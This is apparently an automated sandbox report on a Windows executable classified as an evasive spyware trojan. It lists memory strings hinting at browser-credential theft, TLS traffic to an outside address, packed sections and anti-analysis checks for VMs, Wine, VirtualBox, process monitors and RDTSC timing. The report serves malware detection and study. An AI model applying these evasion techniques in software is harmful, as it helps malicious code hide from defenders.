Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49746 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: bG89JAQXz2.exe	Static PE information: section name:
Source: bG89JAQXz2.exe	Static PE information: section name: .idata
Source: bG89JAQXz2.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134E435	0_3_0134E435
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134F472	0_3_0134F472
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134F560	0_3_0134F560
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134E3AD	0_3_0134E3AD
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134E435	0_3_0134E435
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134F472	0_3_0134F472
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134F560	0_3_0134F560
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134E3AD	0_3_0134E3AD

Source: bG89JAQXz2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: bG89JAQXz2.exe	Static PE information: Section: ZLIB complexity 0.9995212928921569
Source: bG89JAQXz2.exe	Static PE information: Section: nnihojeu ZLIB complexity 0.9945017953321365

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: bG89JAQXz2.exe, 00000000.00000003.2249064785.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2224395583.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2224829531.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: bG89JAQXz2.exe

ReversingLabs: Detection: 55%

Source: bG89JAQXz2.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

File read: C:\Users\user\Desktop\bG89JAQXz2.exe

Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: bG89JAQXz2.exe

Static file information: File size 1883136 > 1048576

Source: bG89JAQXz2.exe

Static PE information: Raw size of nnihojeu is bigger than: 0x100000 < 0x1a1c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Unpacked PE file: 0.2.bG89JAQXz2.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nnihojeu:EW;bjryrgvc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nnihojeu:EW;bjryrgvc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: bG89JAQXz2.exe

Static PE information: real checksum: 0x1d3745 should be: 0x1cc474

Source: bG89JAQXz2.exe	Static PE information: section name:
Source: bG89JAQXz2.exe	Static PE information: section name: .idata
Source: bG89JAQXz2.exe	Static PE information: section name:
Source: bG89JAQXz2.exe	Static PE information: section name: nnihojeu
Source: bG89JAQXz2.exe	Static PE information: section name: bjryrgvc
Source: bG89JAQXz2.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_05C135E9 pushad ; retn 0005h	0_3_05C135F2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_05C118B8 push 0000002Bh; ret	0_3_05C11F42
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_05C1244D push ds; retn 0005h	0_3_05C1247E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_05C11802 push 0000002Bh; ret	0_3_05C11F42
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_05C1230D push ds; retn 0005h	0_3_05C1233E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134D14C push esi; retf	0_3_0134D14F
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134B5BC push esi; retf	0_3_0134B5BF
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134D14C push esi; retf	0_3_0134D14F
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0134B5BC push esi; retf	0_3_0134B5BF
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0137000D push ss; retn 0005h	0_3_0137000E
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9B0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9A0 pushad ; retn 0005h	0_3_0136EBC2
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Code function: 0_3_0136E9E0 pushad ; retn 0005h	0_3_0136EBC2

Source: bG89JAQXz2.exe	Static PE information: section name: entropy: 7.985159094316186
Source: bG89JAQXz2.exe	Static PE information: section name: nnihojeu entropy: 7.953527515958114

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED2721 second address: ED2727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED2727 second address: ED272B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED272B second address: ED2731 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED2731 second address: ED273F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F7BE1432916h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED273F second address: ED2743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8493 second address: EE8497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8A6A second address: EE8A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8A6E second address: EE8A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8BDC second address: EE8BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8BE3 second address: EE8C3E instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BE143292Dh 0x00000008 jmp 00007F7BE1432925h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jmp 00007F7BE1432923h 0x00000015 jns 00007F7BE1432916h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f jc 00007F7BE1432925h 0x00000025 jmp 00007F7BE143291Fh 0x0000002a pushad 0x0000002b je 00007F7BE1432916h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8C3E second address: EE8C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2BBh 0x00000009 popad 0x0000000a pushad 0x0000000b jng 00007F7BE163C2B6h 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8C5B second address: EE8C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE8C63 second address: EE8C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBB21 second address: EEBB26 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBB26 second address: EEBB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE163C2C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBB46 second address: EEBBB5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F7BE1432916h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F7BE1432918h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1805h], ecx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F7BE1432918h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov ecx, ebx 0x0000004b call 00007F7BE1432919h 0x00000050 pushad 0x00000051 jg 00007F7BE143291Ch 0x00000057 push eax 0x00000058 push edx 0x00000059 push esi 0x0000005a pop esi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBBB5 second address: EEBBEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7BE163C2BBh 0x0000000e pushad 0x0000000f jng 00007F7BE163C2B6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F7BE163C2C0h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBBEE second address: EEBBF3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBBF3 second address: EEBC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnc 00007F7BE163C2C2h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F7BE163C2BCh 0x00000018 pop eax 0x00000019 sub di, CC12h 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F7BE163C2B8h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a stc 0x0000003b push 00000000h 0x0000003d push 00000003h 0x0000003f add dl, FFFFFFA4h 0x00000042 push 9C5A3851h 0x00000047 pushad 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b pop edx 0x0000004c push edi 0x0000004d jmp 00007F7BE163C2BBh 0x00000052 pop edi 0x00000053 popad 0x00000054 xor dword ptr [esp], 5C5A3851h 0x0000005b mov dx, 9FCAh 0x0000005f lea ebx, dword ptr [ebp+12456A30h] 0x00000065 mov ecx, dword ptr [ebp+122D29D1h] 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F7BE163C2C1h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBC91 second address: EEBC96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBD4E second address: EEBD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBE5B second address: EEBE5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBE5F second address: EEBEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F7BE163C2C1h 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1DFAh], eax 0x00000018 push 00000000h 0x0000001a mov cx, 9C07h 0x0000001e push 140ED1FFh 0x00000023 push edi 0x00000024 jmp 00007F7BE163C2C1h 0x00000029 pop edi 0x0000002a xor dword ptr [esp], 140ED17Fh 0x00000031 mov ecx, dword ptr [ebp+122D29C9h] 0x00000037 push 00000003h 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F7BE163C2B8h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 push ecx 0x00000054 mov di, F052h 0x00000058 pop ecx 0x00000059 push 00000000h 0x0000005b stc 0x0000005c push 00000003h 0x0000005e ja 00007F7BE163C2BCh 0x00000064 mov dword ptr [ebp+122D1916h], edx 0x0000006a push BA0F42B2h 0x0000006f je 00007F7BE163C2D4h 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBEF8 second address: EEBEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EEBEFC second address: EEBF36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 05F0BD4Eh 0x00000010 jbe 00007F7BE163C2BBh 0x00000016 add dx, 355Dh 0x0000001b lea ebx, dword ptr [ebp+12456A44h] 0x00000021 mov dword ptr [ebp+122D1D2Ch], edx 0x00000027 xchg eax, ebx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F098C2 second address: F098CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F098CD second address: F098D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F09E74 second address: F09E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F09E79 second address: F09E9F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7BE163C2C2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F7BE163C2BAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
